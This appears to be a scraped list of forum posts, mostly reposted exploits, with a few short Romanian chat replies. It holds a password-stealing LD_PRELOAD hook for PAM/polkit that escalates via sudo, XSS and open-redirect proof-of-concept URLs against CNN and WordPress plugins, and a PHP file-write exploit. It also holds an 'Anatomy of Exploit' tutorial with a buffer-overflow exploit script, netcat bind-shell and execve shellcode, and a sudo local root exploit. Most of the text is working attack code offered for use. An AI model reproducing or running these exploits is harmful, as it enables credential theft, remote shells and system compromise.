'$/=undef;' get_cmd_lines << 'for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\'' text_output = cmd_exec(get_cmd_lines).gsub("\r",'') vprint_status(text_output) lines = text_output.split("\n") restart_commands = [] i=0 while i < lines.length - 3 m = lines[i].match(/^PID:(\d+)/) if m pid = m[1] vprint_status("PID=#{pid}") print_status("Found process: " + lines[i+1]) exe = lines[i+1].match(/^EXE:(\S+)$/)[1] vprint_status("exe=#{exe}") cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00") vprint_status("CMDLINE=" + cmdline.join(' XXX ')) env = lines[i+3].match(/^environ:(\w+)$/)[1] restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();' restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}' restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\'' vprint_status("RESTART: #{restart_command}") restart_commands.push(restart_command) end i+=1 end restart_commands end def c_code(exe_file) c = %Q| // A few constants/function definitions/structs copied from header files #define RTLD_NEXT ((void *) -1l) extern uintptr_t dlsym(uintptr_t, char*); // Define some structs to void so that we can ignore all dependencies from these structs #define FILE void #define pam_handle_t void extern FILE *popen(const char *command, const char *type); extern int pclose(FILE *stream); extern int fprintf(FILE *stream, const char *format, ...); extern char *strstr(const char *haystack, const char *needle); extern void *malloc(unsigned int size); struct pam_message { int msg_style; const char *msg; }; struct pam_response { char *resp; int resp_retcode; }; struct pam_conv { int (*conv)(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr); void *appdata_ptr; }; void run_sudo(char* password) { FILE* sudo = popen("sudo -S #{exe_file}", "w"); fprintf(sudo,"%s\\n",password); pclose(sudo); } int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) { struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr; int i; int passwd_index = -1; for(i=0;i<num_msg;i++){ if(strstr(msg[i]->msg,"Password") >= 0){ passwd_index = i; } } int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr); if(passwd_index >= 0){ run_sudo(resp[passwd_index]->resp); } return result; } int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) { static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh); if(!orig_pam_start){ orig_pam_start = dlsym(RTLD_NEXT,"pam_start"); } struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv)); my_pam_conversation->conv = &my_conv; my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation; return orig_pam_start(service_name, user, my_pam_conversation, pamh); } void polkit_agent_session_response (void *session, char *response) __attribute__((export)) { static void *(*orig_polkit_agent_session_response)(void *session, char* response); if(!orig_polkit_agent_session_response){ orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response"); } run_sudo(response); orig_polkit_agent_session_response(session, response); return; } | c end end
  10. *CNN Travel.cnn.com <http://Travel.cnn.com> XSS and Ads.cnn.com <http://Ads.cnn.com> Open Redirect Security Vulnerability* *Domain:* http://cnn.com "CNN is sometimes referred to as CNN/U.S. to distinguish the American channel from its international sister network, CNN International. As of August 2010, CNN is available in over 100 million U.S. households. Broadcast coverage of the U.S. channel extends to over 890,000 American hotel rooms, as well as carriage on cable and satellite providers throughout Canada. Globally, CNN programming airs through CNN International, which can be seen by viewers in over 212 countries and territories." (Wikipedia) "As of August 2013, CNN is available to approximately 98,496,000 cable, satellite and telco television households (86% of households with at least one television set) in the United States." (Wikipedia) *Vulnerability Description:* CNN has a security problem. It cab be exploited by XSS (Cross Site Scripting) and Open Redirect attacks. Based on news published, CNN users were hacked based on both Open Redirect and XSS vulnerabilities. According to E Hacker News on June 06, 2013, "(@BreakTheSec) came across a diet spam campaign that leverages the open redirect vulnerability in one of the top News organization CNN." After the attack, CNN takes measures to detect Open Redirect vulnerabilities. The measure is quite good. Almost no links are vulnerable to Open Redirect attack on CNN's website, now. It takes long time to find a new Open Redirect vulnerability that is un-patched on its website. CNN.com was hacked by Open Redirect in 2013. While the XSS attacks happened in 2007. *<1>* "The tweet apparently shows cyber criminals managed to leverage the open redirect security flaw in the CNN to redirect twitter users to the Diet spam websites." (E Hacker News) At the same time, the cybercriminals have also leveraged a similar vulnerability in a Yahoo domain to trick users into thinking that the links point to a trusted website. Yahoo Open Redirect Vulnerabilities: http://securityrelated.blogspot.sg/2014/12/yahoo-yahoocom-yahoocojp-open-redirect.html *<2>* CNN.com XSS hacked http://seclists.org/fulldisclosure/2007/Aug/216 *(1) CNN (cnn.com <http://cnn.com>) Travel-City Related Links XSS (cross site scripting) Security Vulnerabilities* *Domain:* http://travel.cnn.com/ *Vulnerability Description:* The vulnerabilities occur at "http://travel.cnn.com/city/all" pages. All links under this URL are vulnerable to XSS attacks, e.g http://travel.cnn.com/city/all/all/washington?page=0%2C1 http://travel.cnn.com/city/all/all/tokyo/all?page=0%2C1 The vulnerability can be exploited without user login. Tests were performed on Firefox (34.0) in Ubuntu (14.04) and IE (9.0.15) in Windows 7. *Poc Code:* http://travel.cnn.com/city/all/all/tokyo/all' /"><img src=x onerror=prompt(/justqdjing/)> http://travel.cnn.com/city/all/all/bangkok/all' /"><img src=x onerror=prompt(/justqdjing/)> *(1.1) Poc Video:* https://www.youtube.com/watch?v=Cu47XiDV38M&feature=youtu.be *Blog Details:* http://securityrelated.blogspot.sg/2014/12/cnn-cnncom-travel-city-related-links.html *(2) CNN cnn.com <http://cnn.com> ADS Open Redirect Security Vulnerability * *Domain:* http://ads.cnn.com *Vulnerability Description:* The vulnerability occurs at "http://ads.cnn.com/event.ng" page with "&Redirect" parameter, i.e. http://ads.cnn.com/event.ng/Type=click&FlightID=92160&AdID=125504&TargetID=1346&RawValues=&Redirect=http:%2f%2fgoogle.com The vulnerability can be attacked without user login. Tests were performed on Chrome 32 in Windows 8 and Safari 6.16 in Mac OS X v10.7. *(2.1)* Use the following tests to illustrate the scenario painted above. The redirected webpage address is "http://www.tetraph.com/blog". Suppose that this webpage is malicious. *Vulnerable URL:* http://ads.cnn.com/event.ng/Type=click&FlightID=92160&AdID=125504&TargetID=1346&RawValues=&Redirect=http:%2f%2fcnn.com *Poc Code:* http://ads.cnn.com/event.ng/Type=click&FlightID=92160&AdID=125504&TargetID=1346&RawValues=&Redirect=http:%2f%2ftetraph.com%2Fblog *(2.1) Poc Video:* https://www.youtube.com/watch?v=FE8lhDvKGN0&feature=youtu.be *Blog Detail:* http://securityrelated.blogspot.sg/2014/12/cnn-cnncom-ads-open-redirect-security.html Those vulnerabilities were reported to CNN in early July by Contact information from Here. http://edition.cnn.com/feedback/#cnn_FBKCNN_com Reported by: Wang Jing, School of Physical and Mathematical Sciences, Nanyang Technological University, Singapore. http://www.tetraph.com/wangjing/ *Blog Details:* http://securityrelated.blogspot.sg/2014/12/cnn-cnncom-travel-xss-and-ads-open.html -- Wang Jing School of Physical and Mathematical Sciences (SPMS) Nanyang Technological University (NTU), Singapore Source
  11. http://packetstormsecurity.com/user/evex/ Author:Evex Title: WordPress dmsguestbook Plugin File Manipulation Description: wordpress dmsguestbook plugin is vulnerable to a file manipulation security issue it allows an unauthenicated attacker to put text into existing text files only <?php /* Vulnerability Code: if ($POSTVARIABLE['action'] =='save_advanced_data') { $abspath = str_replace("\\","/", ABSPATH); // check the folder variable if($POSTVARIABLE['folder']=="language/"){ $folder="language/"; } else {$folder="";} // check the file variable xxxx.txt if(preg_match('/^[a-z0-9]+\.+(txt)/i', $POSTVARIABLE['file'])==1) { $file=$POSTVARIABLE['file']; } else {$file="";} clearstatcache(); if (file_exists($abspath . "wp-content/plugins/dmsguestbook/" . $folder . $file)) { $handle = fopen($abspath . "wp-content/plugins/dmsguestbook/" . $folder . $file, "w"); $writetofile = str_replace("\\", "", $POSTVARIABLE['advanced_data']); fwrite($handle, $writetofile); fclose($handle); message("<b>" . __("saved", "dmsguestbook") . "...</b>",300,800); } else {message("<br /><b>" . __("File not found!", "dmsguestbook") . "</b>",300,800);} } */ $TEXTTOINJECT = 'INPUT TEXT HERE'; $TXTFILE = 'readme.txt'; # localhost/wp-content/plugins/dmsguestbook/readme.txt $url = "http://localhost/x/wordpress"; $ch = curl_init(); curl_setopt($ch,CURLOPT_POST,true); curl_setopt($ch,CURLOPT_POSTFIELDS,"action=save_advanced_data&file=$TXTFILE&advanced_data=$TEXTTOINJECT"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); curl_setopt($ch,CURLOPT_URL,$url.'/wp-admin/admin.php?page=dmsguestbook'); curl_exec($ch); echo "Payload Sent\nUrl: $url/wp-content/plugins/dmsguestbook/readme.txt"; ?> Source
  12. Exploit Title: Wordpress Frontend Uploader Cross Site Scripting(XSS) Software Link: https://wordpress.org/plugins/frontend-uploader/ Author: SECUPENT Website:www.secupent.com Email: research{at}secupent{dot}com Date: 27-12-2014 Version: 0.9.2 Exploit : http://TARGET/[forntEndUploaderPage]=59&errors[fu-disallowed-mime-type][0][name]=XSS Example(p0c): http://EXAMPLE/wordpress/?page_id=59&&errors[fu-disallowed-mime-type][0][name]=%3CSCRIPT%20SRC=http://ha.ckers.org/xss.js?%3C%20B%20%3E Screenshot: Link: http://secupent.com/exploit/images/frontend-uploader-xss.png Mirror: http://vulnerability.io/exploit/images/frontend-uploader-xss.png Special Thanks: vulnerability.io, pentester.io, osvdb.org, exploit-db.com, 1337day.com, cxsecurity.com, packetstormsecurity.com and all other exploit archives, hackers and security researchers. Source
  13. Product: Maxthon Browser #Vulnerability: Address Bar Spoofing Vulnerability #Impact: Moderate #Authors: Rafay Baloch #Company: RHAinfoSEC #Website: http://rafayhackingarticles.net *Introduction* Maxthon browser for Android was prone to an "Address Bar Spoofing" vulnerability wdue to mishandling of javaScript's window.open function which is used to open a secondary browser window. This could be exploited by tricking the users into supplying senstive information such as username/passwords etc due to the fact that the address bar would display a legitimate URL, however it would be hosted on the attacker's page. *POC* Following is the POC that could be used to reproduce the issue: <script> document.getElementById('one').onclick = function() { myWindow=window.open('http://rafayhackingarticles.net/','RHA','width=300,height=300,location=yes'); myWindow.document.write("<html><head></head><body><b>This page is still being hosted another domain, however the domain is pointing to rafayhackingarticles.net.</b><br><br><iframe src=\" http://www.rafayhackingarticles.net/\");></iframe></scri+pt></body></html>"); myWindow.focus(); return false; } </script> *impact* The issue could be abused to carry out more effective phishing attacks against it's users. *Fix* We tried to contact the vendor several times however we did not recieve any response Source
  14. @akadns ce e nou in asta? Asa s-a intamplat de fiecare data... orice se intampla autoritatile trebuie sa isi pastreze ,,imaginea"
  15. @Kronzy asa fac si aia ce imi comenteaza mie la posturi ,,Dar mami lasa-ma 5 minute sa ii zic ca e nolifer si dupa promit ca ma bag la culcare" )
  16. Salut in primul rand nu mai scrie cu bold si culori ( ca un Ub3r n00b ) Partea cu flood & DDoS deja o dai in copilarisme (aici nimeni nu se ocupa cu porcari de genul) si inca ceva renunta sa mai scrii ( aNdrEI, vaSIlE si tot asa ) On:// Sedere placuta sper sa inveti ceva daca tot ai venit...
  17. Aerosol

    [XSS] ESET NOD32

    @Kronzy ah atunci il raportez sa imi incerc norocul
  18. Aerosol

    [XSS] ESET NOD32

    Felicitari ba @Kronzy uite inca unu E ala de la nume?
  19. Anatomy of Exploit - World of Shellcode ####### Anatomy of Exploit ####### ####### World of Shellcode ####### #/////////////////////////////////////////////////////# Contact:flor_iano@hotmail.com #\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\# -----# Introduction On Exploits Nowadays the word exploit is becoming frightened, thousands of peoples that are in field of IT should(is a must) know how to make a exploit or even how to defend by eexploits.Out there are hundreds of exploits that are published in several websites like exploit-db.com, secunia.com 1337day.com etc.Exploitation means using a program routine or a 0day attack to own the OS or crashing the program.Exploiting a program is a clever way of getting the computer to do what you want it to, even if the currently running program was designed to prevent that actions.It can do only what you have programmed to do.To get rid of exploit you should learn assembly language as it is the language wich can talk directly to the kernel, C,c++,Perl, Python programming wich by system calls() we can call the kernel.For me those languages are enough but since the Computer are in evolution you should not stop learning other programming language.In this paper i wont publish no exploit but to explain the make of it, the importance of it, and clearing some misunderstanding in our mind, in our brain, so when we read a source code should not become confused.But someone in IRC asked to me how many types of exploit do we have.In reality there are too many types of exploits but i will mention the most important exploits that are used todays. -----# Remote exploits Exploits can be developed almost at any operation system, but the most comfortable OS is Linux and Windows todays.I dont know about Windows cuz we need to install tools like microsoft visual c++,python 2.7 or perl and using them in CMD.But in Linux the gcc, as, ld are the GNU defaults compilers. In Linux you should have learnt sockets to get a routine and get the work done. We have the shell wich is too important to program an exploit.But in this section the purpose is understanding the remote exploits and creating the basic of it. Getting rid of the vulnerability of the program you want or the system you want to get prigileges on the System.Here we go in the Art of Fuzzing wich we send many characters to overflow or to flood and crash the Program.But how do we know what is the address of the eip, to get exploit it in way ret2eip wich means ret2eip=Return the Address of eip.Im explaining the steps: [Step One] Before you develop any exploit, you need to determine whether a vulnerability exists in the application. This is where the art of fuzzing comes into play. Since it is remote we can't know the address of register in wich we crashed the program. This step is getting a better fuzzer like Spike and Metasploit.When the fuzzer will be stopped we only get the length of the char's. [Step Two] Get on work with fuzzer.Practice it.Run it.In this step we ran the fuzzer and what we get only the length of the chars but to exploit a program we need eip. Length(X1h21hsdpgm234jlasn356kklasdn432210ifaslkj4120sd .................) etc. We only have the length. [Step Three] We download the program in our system and test it with the fuzzer.As the target is 127.0.0.1 we launch a debugger like Ollydbg and we will watch what will happen when the fuzz will start.The program will be overflowed and the eip will be on red line.Here we got what we wanted to have.We got the eip, now what. [Step Four] Prepare the shellcode.What is shellcode?-Shellcode is made in assembly language with instructions to get the shell with system calls like execve or execl. ######### Note # ######### Im having in mind that you know the assembly and how to get the shellcode from it with programs like objdump, gcc etc. [Step Four] Prepare the exploit with the need of.In this section im using a perl script to introduce you on exploiting in a basic way. #!/usr/bin/perl use IO::Socket; $header = "TRUN /.:/"; (we put the TRUN header here) $junk = "" x pattern; (Junk or like garbage to overflow) (We can get the pattern with pattern_create tool of metasploit) $eip = pack('v', 0x85f61a2f); (The eip, the most important of exploit) $nop = "\x90" x 20; (NOP=No Operation, Making shellcode nonull) $shellcode = (The shellcode) "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\" + "x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53" + "\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"; $socket = IO::Socket::INET->new( (Socket I/O INET FAMILY) Proto => "tcp", (TCP Protocol) PeerAddr => "$ARGV[0]", (First Arg) PeerPort => "$ARGV[1]", (Second Arg) ); socket->recv($serverdata, 1024); (Data we receive) print $serverdata; (Print that data) $socket->send($header.$junk.$eip.$nop.$shellcode); (Using socket to send them all) [Step Five] We have the exploit, now get on run it.For the exploit above we type the command: root@MINDZSEC~:/root$ ./exploit.pl target host And if you would be succesful you will get a shell in system,and if you have the shell you can get on exploit kernel to get root privileges. Here we go on Local Exploits wich will be explained now. -----# Local Exploits These are the most dificult exploit to develop becauze here you should learn UNIX environment and syscalls() that are nedded to have a shell on uid.UID stands for user id, and the uid of root will be always 0.To understand this type of exploit you should absolutely know assembly language to work around with __NR_$syscall.__NR_$syscall are liste in dir of /usr/include/asm-generic/unistd.h where there are all number for each respective syscall().Assembly language is the most used outthere for making shellcode, here we have an program wich is pause.asm ---------------------------------------------------------------------------------------------------- root@MINDZSEC~:/root$ cat pause.asm section .text ; Text section global _start ; _start is global _start: ; _start function xor ebx, ebx ; Zero out ebx register mov al, 29 ; Insert __NR_pause 11 syscall, see "Appendix A" int 0x80 ; Syscall execute Assemble and Link root@MINDZSEC~:/root$ nasm -f elf pause.asm && ld pause.o -o pause Time to run root@MINDZSEC~:/root$ ./pause ^c It worked and pause the System, I used CTRL-C to exit from program. Now Get the Opcodes root@MINDZSEC~:/root$ objdump -d pause.o pause.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: 31 db xor %ebx,%ebx 2: b0 1d mov $0x1d,%al 4: cd 80 int $0x80 This is a small shellcode but what would you do if it will be long. I used xxd to make the way easier, see Apendix B. root@MINDZSEC~:/root$ ./xxd pause.o "\x31\xdb\xb0\x1d\xcd\x80" Test Shellcode root@MINDZSEC~:/root$ ./shtest "\x31\xdb\xb0\x1d\xcd\x80" Shellcode at 0x804b140 Registers before call: esp: 0xbfbf0d70, ebp: 0xbfbf0da8 esi: (nil), edi: (nil) ---------------------- ^C Here I used the shellcode tester made by hellman, see Apendix C.We saw that the system pauses and executed the shellcode with success. ---------------------------------------------------------------------------------------------------- But the purpose of local exploit is to get superuser privileges, by syscall it can be done where we use routines to tire up the system and break the linux-so.gate.1 to get uid=0. That is the main purpose of local exploit, since you have exploit a system you need priveleges to conduct actions on this system.They can't be call exploits but a SETUID program to get done with rid of system <-- That what Linus Torvalds told. And it is right since we make a program in assembly language with system calls and we run them to have root shell.The opcodes are the hex codes that make a direct call to the kernel.Thus codes speaks with kernel and tell it to get the root shell or i will overflow you.To take a brief understanding in shellcodes you should read papers that are published outside on Internet or read Books that are dedicated on this are of Computer Programming Science. Developing a local exploit we should either know heap overflows wich plays around with programs, buffer overflows wich plays around with buffer register and the stack-based overflows. :Heap Overflows: Read article of W00w00 on heaptut http://www.cgsecurity.org/exploit/heaptut.txt :Buffer Overflows: Read article of Saif El-Sherei http://www.exploit-db.com/wp-content/themes/exploit/docs/28475.pdf :Stack-based buffer overflows: Read article of Aleph1 Smashing the stack http://www.phrack.org/issues/49/14.html#article After you read them you will get a better understand on how the system works and how register works and how to make them doing what you programmed the program to do.Today all of people are focused on social media and had left the computer science, they are no more dedicated on reading, today lechers or script kiddies reads some paper and copys the program's to merge into one and they call themselves programmers.No, thats wrong, they will never become programmers that copies other people's programs to own it.So why i connected this sentece on here.All what i want to say that script kiddies wont have ideas on systems only if they copy the programs, so to make local exploit we should have an idea and a purpose with lot of imaginary and learn how the system works. In a clever way im going to say that making SHELLCODE and EXPLOIT need IDEAS. Before going to an "real-life local exploit" i will explain and one more shellcode wich uses netcat to get a uid=0 gid=0 groups=0 root shell: ---------------------------------------------------------------------------------------------------- Netcat Shellcode.asm List the program. root@MINDZSEC:~/root$ cat ntcat.asm ;Author Flor Ian MINDZSEC ;Contact flor_iano@hotmail.com jmp short todo shellcode: xor eax, eax ; Zero out eax xor ebx, ebx ; Zero out ebx xor ecx, ecx ; Zero out ecx xor edx, edx ; Zero out edx using the sign bit from eax mov BYTE al, 0xa4 ; setresuid syscall 164 (0xa4) int 0x80 ; syscall execute pop esi ; esi contain the string in db xor eax, eax ; Zero out eax mov[esi + 7], al ; null terminate /bin/nc mov[esi + 16], al ; null terminate -lvp90 mov[esi + 26], al ; null terminate -e/bin/sh mov[esi + 27], esi ; store address of /bin/nc in AAAA lea ebx, [esi + 8] ; load address of -lvp90 into ebx mov[esi +31], ebx ; store address of -lvp90 in BBB taken from ebx lea ebx, [esi + 17] ; load address of -e/bin/sh into ebx mov[esi + 35], ebx ; store address of -e/bin/sh in CCCC taken from ebx mov[esi + 39], eax ; Zero out DDDD mov al, 11 ; 11 is execve syscakk number mov ebx, esi ; store address of /bin/nc lea ecx, [esi + 27] ; load address of ptr to argv[] array lea edx, [esi + 39] ; envp[] NULL int 0x80 ; syscall execute todo: call shellcode db '/bin/nc#-lvp9999#-e/bin/sh#AAAABBBBCCCCDDDD' ; 0123456789012345678901234567890123456789012 Assemble and Link root@MINDZSEC:~/root$ nasm -f elf ntcat.asm && ld ntcat.o -o ntcat Run to see if it works root@MINDZSEC:~/root$ ./ntcat listening on [any] 9999 ... ^c It Works Get shellcode root@MINDZSEC:~/root$ ./xxd ntcat.o "\xeb\x35\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x5e\x31\xc0\x88\x46\x07\x88\x46\x10\ x88\x46\x1a\x89\x76\x1b\x8d\x5e\x08\x89\x5e\x1f\x8d\x5e\x11\x89\x5e\x23\x89\x46\x27\xb0\x0b \x89\xf3\x8d\x4e\x1b\x8d\x56\x27\xcd\x80\xe8\xc6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x23 \x2d\x6c\x76\x70\x39\x39\x39\x39\x23\x2d\x65\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41 \x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44" Test it root@MINDZSEC:~/root$ ./shtest "\xeb\x35\x31\xc0\....\\x44\x44\x44\x44" listening on [any] 9999 ... From any machine you can connect to this by nc IP 9999 and get a root shell See Appendix for a universal Shellcode on getting shell. ---------------------------------------------------------------------------------------------------- You would ask, Why you use this example when we are talking to local exploits.This program is often called a backdoor and it is used a lot on all programs from big Companies.Shellcode can have the work done in last two minutes as im saying learn it.I added here this shellcode so you can add this in your local exploits to get the work done and get a root shell to conduct whatever command you wanted to. Now it time to present you a local exploit as example and explain you the sections of it. I said that i wont give you no exploit in this paper so i will just explain how they works to you and get a better understand on exploits so you can create them. ---------------------------------------------------------------------------------------------------- #include <unistd.h> /* Syscall() list */ #include <stdio.h> /* I/O */ #include <stdlib.h> /* Define macros for several types of data */ #include <fcntl.h> /* Perform Operation in files */ #include <sys/stat.h> /* defines the structure of the data returned */ #define PATH_SUDO "/usr/bin/sudo.bin" /* Macro defined PATH_SUDO */ #define BUFFER_SIZE 1024 /* Macro defined Buffer Size */ #define DEFAULT_OFFSET 50 /* the amount or distance */ u_long get_esp() /* Return Stack pointer */ { __asm__("movl %esp, %eax"); } main(int argc, char **argv) /* Main funciton */ { u_char execshell[] = /* Aleph1's /bin/sh shellcode */ "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff = NULL; /* char-Buff is a pointer cast and = NUll(0) */ unsigned long *addr_ptr = NULL; /* addr_ptr is a pointer unsigned long = Null(0)*/ char *ptr = NULL; /* char-ptr is a pointer cast and = NULL(0) */ int i; /* Declare var integer i; */ int ofs = DEFAULT_OFFSET; /* Declare var ofs wich is equaled to Deffault_offset macro */ buff = malloc(4096); /* Buff pointer is equaled to memory allocation 4096 Bytes */ if(!buff) /* If conditional !buf cant be done */ { printf("can't allocate memory\n");/* Printf String */ exit(0); /* Exit */ } ptr = buff; /* buff is equaled to ptr var pointer, LVALUE=RVALUE */ /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); /* memset function from right to left */ ptr += BUFFER_SIZE-strlen(execshell); /* Fill of ptr */ /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) /* For loop to add shellcode in buffer */ *(ptr++) = execshell[i]; /* Exec */ addr_ptr = (long *)ptr; /* Execshell is = *(ptr) and ptr = addr_ptr */ for(i=0;i < (8/4);i++) /* for loop */ *(addr_ptr++) = get_esp() + ofs; /* addr_ptr++ is equaled to the value of stack pointer and off*/ ptr = (char *)addr_ptr; /* Get return to *ptr */ *ptr = 0; /* Make it zero */ printf("SUDO.BIN exploit coded by _PHANTOM_ 1997\n"); /* Author Information */ setenv("NLSPATH",buff,1); /* Set environmet 1 to buff and buff to NLSPATH */ execl(PATH_SUDO, "sudo.bin","bash", NULL); /* Execl sys call to execute the program */ } And we compile it and we get a shell, this is an local exploit of 1997, i took just as a example.So what I told you about shellcodes, they are used at almost of local exploit nowadays. ---------------------------------------------------------------------------------------------------- A begginer programmer will see this source code and will say that i can't learn them till my end of life but it is wrong.That is the first disappointed in our heart.So how to get rid of programming, first we need to be creative and have ideas as i told again. ###### NOTE # ###### Have a learn of kernel syscalls(), their numbers, have a learn of shellcodes and how to understand them, learn programming languages as much as you can. APPENDIX - Universal Shellcode to get shell ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ root@MINDZSEC:~/root$ cat getshell.asm section .text ; Text section global _start ; Define _start function _start: ; _start function xor eax, eax ; Zero out eax REGister xor ebx, ebx ; Zero out ebx REGister xor ecx, ecx ; Zero out ecx REGister cdq ; Zero out edx using the sign bit from eax push ecx ; Insert 4 byte null in stack push 0x68732f6e ; Insert /bin in the stack push 0x69622f2f ; Insert //sh in the stack mov ebx, esp ; Put /bin//sh in stack push ecx ; Put 4 Byte in stack push ebx ; Put ebx in stack mov ecx, esp ; Insert ebx address in ecx xor eax, eax ; Zero out eax register mov al, 11 ; Insert __NR_execve 11 syscall int 0x80 ; Syscall execute root@MINDZSEC:~/root$ ./xxd getshell.o "\x31\xc0\x31\xdb\x31\xc9\x99\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\ x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" That Was all, Thanx for READING. ---------------------------------------------------------------------------------------------------- APPENDIX A - SysCall List ~~~~~~~~~~~~~~~~~~~~~~~~~ root@MINDZSEC:~/root$ cat syscall.txt 00 sys_setup [sys_ni_syscall] 01 sys_exit 02 sys_fork 03 sys_read 04 sys_write 05 sys_open 06 sys_close 07 sys_waitpid 08 sys_creat 09 sys_link 10 sys_unlink 11 sys_execve 12 sys_chdir 13 sys_time 14 sys_mknod 15 sys_chmod 16 sys_lchown 17 sys_break [sys_ni_syscall] 18 sys_oldstat [sys_stat] 19 sys_lseek 20 sys_getpid 21 sys_mount 22 sys_umount [sys_oldumount] 23 sys_setuid 24 sys_getuid 25 sys_stime 26 sys_ptrace 27 sys_alarm 28 sys_oldfstat [sys_fstat] 29 sys_pause 30 sys_utime 31 sys_stty [sys_ni_syscall] 32 sys_gtty [sys_ni_syscall] 33 sys_access 34 sys_nice 35 sys_ftime [sys_ni_syscall] 36 sys_sync 37 sys_kill 38 sys_rename 39 sys_mkdir 40 sys_rmdir 41 sys_dup 42 sys_pipe 43 sys_times 44 sys_prof [sys_ni_syscall] 45 sys_brk 46 sys_setgid 47 sys_getgid 48 sys_signal 49 sys_geteuid 50 sys_getegid 51 sys_acct 52 sys_umount2 [sys_umount] (2.2+) 53 sys_lock [sys_ni_syscall] 54 sys_ioctl 55 sys_fcntl 56 sys_mpx [sys_ni_syscall] 57 sys_setpgid 58 sys_ulimit [sys_ni_syscall] 59 sys_oldolduname 60 sys_umask 61 sys_chroot 62 sys_ustat 63 sys_dup2 64 sys_getppid 65 sys_getpgrp 66 sys_setsid 67 sys_sigaction 68 sys_sgetmask 69 sys_ssetmask 70 sys_setreuid 71 sys_setregid 72 sys_sigsuspend 73 sys_sigpending 74 sys_sethostname 75 sys_setrlimit 76 sys_getrlimit 77 sys_getrusage 78 sys_gettimeofday 79 sys_settimeofday 80 sys_getgroups 81 sys_setgroups 82 sys_select [old_select] 83 sys_symlink 84 sys_oldlstat [sys_lstat] 85 sys_readlink 86 sys_uselib 87 sys_swapon 88 sys_reboot 89 sys_readdir [old_readdir] 90 sys_mmap [old_mmap] 91 sys_munmap 92 sys_truncate 93 sys_ftruncate 94 sys_fchmod 95 sys_fchown 96 sys_getpriority 97 sys_setpriority 98 sys_profil [sys_ni_syscall] 99 sys_statfs 100 sys_fstatfs 101 sys_ioperm 102 sys_socketcall 103 sys_syslog 104 sys_setitimer 105 sys_getitimer 106 sys_stat [sys_newstat] 107 sys_lstat [sys_newlstat] 108 sys_fstat [sys_newfstat] 109 sys_olduname [sys_uname] 110 sys_iopl 111 sys_vhangup 112 sys_idle 113 sys_vm86old 114 sys_wait4 115 sys_swapoff 116 sys_sysinfo 117 sys_ipc 118 sys_fsync 119 sys_sigreturn 120 sys_clone 121 sys_setdomainname 122 sys_uname [sys_newuname] 123 sys_modify_ldt 124 sys_adjtimex 125 sys_mprotect 126 sys_sigprocmask 127 sys_create_module 128 sys_init_module 129 sys_delete_module 130 sys_get_kernel_syms 131 sys_quotactl 132 sys_getpgid 133 sys_fchdir 134 sys_bdflush 135 sys_sysfs 136 sys_personality 137 sys_afs_syscall [sys_ni_syscall] 138 sys_setfsuid 139 sys_setfsgid 140 sys__llseek [sys_lseek] 141 sys_getdents 142 sys__newselect [sys_select] 143 sys_flock 144 sys_msync 145 sys_readv 146 sys_writev 147 sys_getsid 148 sys_fdatasync 149 sys__sysctl [sys_sysctl] 150 sys_mlock 151 sys_munlock 152 sys_mlockall 153 sys_munlockall 154 sys_sched_setparam 155 sys_sched_getparam 156 sys_sched_setscheduler 157 sys_sched_getscheduler 158 sys_sched_yield 159 sys_sched_get_priority_max 160 sys_sched_get_priority_min 161 sys_sched_rr_get_interval 162 sys_nanosleep 163 sys_mremap 164 sys_setresuid (2.2+) 165 sys_getresuid (2.2+) 166 sys_vm86 167 sys_query_module (2.2+) 168 sys_poll (2.2+) 169 sys_nfsservctl (2.2+) 170 sys_setresgid (2.2+) 171 sys_getresgid (2.2+) 172 sys_prctl (2.2+) 173 sys_rt_sigreturn (2.2+) 174 sys_rt_sigaction (2.2+) 175 sys_rt_sigprocmask (2.2+) 176 sys_rt_sigpending (2.2+) 177 sys_rt_sigtimedwait (2.2+) 178 sys_rt_sigqueueinfo (2.2+) 179 sys_rt_sigsuspend (2.2+) 180 sys_pread (2.2+) 181 sys_pwrite (2.2+) 182 sys_chown (2.2+) 183 sys_getcwd (2.2+) 184 sys_capget 